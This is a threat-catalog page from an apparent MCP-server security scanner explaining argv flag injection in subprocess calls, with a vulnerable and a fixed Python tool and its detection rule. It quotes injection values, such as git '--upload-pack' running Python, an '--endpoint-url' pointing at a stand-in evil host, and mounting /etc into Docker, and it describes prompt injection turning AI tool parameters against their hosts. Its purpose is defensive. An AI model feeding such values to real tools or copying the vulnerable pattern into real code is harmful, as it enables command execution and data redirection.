MCPSafe.io
RegistryThreatsMethodologyDocsPricingScanSign in
MCPSafe.io

Security checks for MCP servers — public packages and private repos, fast or deep.

Legal

Privacy PolicyCookie PolicyTerms of ServiceSecurity disclosure

Resources

State of MCP SecuritySupportSystem statusMade in Germany 🇩🇪

© 2026 MCPSafe. All rights reserved.

GDPR — Privacy Policy
← Threat Catalog

Server Implementation

Argv flag injection in subprocess (shell=False)

HIGHCWE: CWE-78Rule: MCP-276

Sibling of MCP-002 scoped to argv-style subprocess calls: when a tainted parameter lands as a bare argv element to dangerous CLIs (git, aws, docker, kubectl, helm, terraform), an attacker can inject flags (`--upload-pack=…`, `--profile=evil`, `-v /etc:/etc:ro`) even though `shell=False` neutralises shell metacharacters.

What it is

This is an OS command injection vulnerability (CWE-78) that survives the standard `shell=False` mitigation. With `subprocess.run(["git", "clone", repo_url])`, no shell metacharacter interpretation occurs — but `repo_url = "--upload-pack=python -c 'import os; os.system(...)'"` still gives the attacker arbitrary flag injection against git, which obediently honors the flag and executes the payload. The same shape exploits `aws --profile=evil`, `docker run -v /etc:/etc:ro`, `kubectl --kubeconfig=/tmp/evil`, and dozens of other CLIs.

Why it matters for MCP

This is the CVE-2026-5058 (aws-mcp-server) / CVE-2026-23744 (MCPJam Inspector) / CVE-2026-30623 (Anthropic MCP SDK stdio) attack class. MCP tools are designed to take parameters from the LLM and forward them to underlying binaries — that is the entire point of an `aws_cli`, `git_clone`, or `kubectl_apply` tool. When a prompt-injection payload reaches the tool handler, every argv element becomes attacker-controlled. MCP-276 fills the gap left by MCP-002 (which requires `shell=True` or string concatenation) and is designed to co-fire with MCP-002 when the same file mixes failure modes.

Vulnerable example

example.py
1
import subprocess
2
from fastmcp import FastMCP
3
4
mcp = FastMCP("aws")
5
6
@mcp.tool()
7
def aws_cli(query: str) -> str:
8
    # VULNERABLE: `query` is attacker-controlled. Flag injection works even
9
    # though shell=False — e.g. query = "--debug --endpoint-url=evil.example".
10
    result = subprocess.run(["aws", "s3", query], capture_output=True)
11
    return result.stdout.decode()

Secure example

example.py
1
import subprocess
2
from fastmcp import FastMCP
3
4
mcp = FastMCP("aws")
5
ALLOWED_S3_VERBS = {"ls", "cp", "mv", "rm"}
6
7
@mcp.tool()
8
def aws_cli(verb: str, bucket: str) -> str:
9
    if verb not in ALLOWED_S3_VERBS:
10
        raise ValueError(f"verb not permitted: {verb}")
11
    if not bucket.startswith("s3://my-org-"):
12
        raise ValueError("bucket not in allowed namespace")
13
    # `--` separator + allowlist + namespace check.
14
    result = subprocess.run(["aws", "s3", verb, "--", bucket], capture_output=True)
15
    return result.stdout.decode()

How MCPSafe detects this

MCPSafe fires per-occurrence on a single line when ALL three conditions hold: (1) the file registers MCP tools (`@mcp.tool`, `server.tool(`); (2) the same line contains a `subprocess.{run,Popen,call,...}` or `child_process.{spawn,execFile,...}` call invoking a known-dangerous binary (sh, bash, aws, git, docker, kubectl, helm, terraform, gcloud, az, npm, pip, curl, wget, ssh, scp, rsync, psql, mysql, mongo, etc.) where one argv element is a bare unquoted identifier or string-concatenation; (3) no same-line validation marker is present. Markers that silence the finding include `shlex.quote`, `validators.<x>`, `isinstance(`, `re.match(`, `re.fullmatch(`, `validate_<...>(`, and membership tests against `ALLOWED` / `ALLOWLIST` / `WHITELIST` / `_allowlist` / `_whitelist`. The rule is disjoint from MCP-002 (shell=True / string concat) and MCP-275 (OAuth metadata fields specifically) — all three can co-fire.

See the full threat catalog for every documented detection.

Further reading

  • CVE-2026-5058 — aws-mcp-server flag injection
  • CVE-2026-23744 — MCPJam Inspector RCE
  • LiteLLM — MCP stdio Command Injection (April 2026)
  • CWE-78: OS Command Injection

Scan an MCP server for this issue

MCPSafe runs this check — and every other rule in the catalog — on any MCP server you paste in.

Scan now